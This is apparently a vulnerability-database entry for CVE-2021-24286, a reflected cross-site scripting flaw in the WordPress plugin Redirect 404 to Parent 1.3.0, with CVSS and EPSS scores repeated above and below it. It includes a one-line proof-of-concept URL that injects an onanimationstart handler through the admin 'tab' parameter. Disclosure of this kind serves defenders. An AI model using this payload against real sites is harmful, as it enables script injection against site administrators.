6.1 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
6.3 Medium
AI Score
Confidence
High
4.3 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
0.002 Low
EPSS
Percentile
60.6%
# Exploit Title: WordPress Plugin Redirect 404 to Parent 1.3.0 - Reflected Cross-Site Scripting (XSS)
# Date: 2/3/2021
# Author: 0xB9
# Software Link: https://downloads.wordpress.org/plugin/redirect-404-to-parent.1.3.0.zip
# Version: 1.3.0
# Tested on: Windows 10
# CVE: CVE-2021-24286
1. Description:
This plugin redirects any 404 request to the parent URL. The tab parameter in the Admin Panel is vulnerable to XSS.
2. Proof of Concept:
wp-admin/options-general.php?page=moove-redirect-settings&tab="+style=animation-name:rotation+onanimationstart="alert(/XSS/);
6.1 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
6.3 Medium
AI Score
Confidence
High
4.3 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
0.002 Low
EPSS
Percentile
60.6%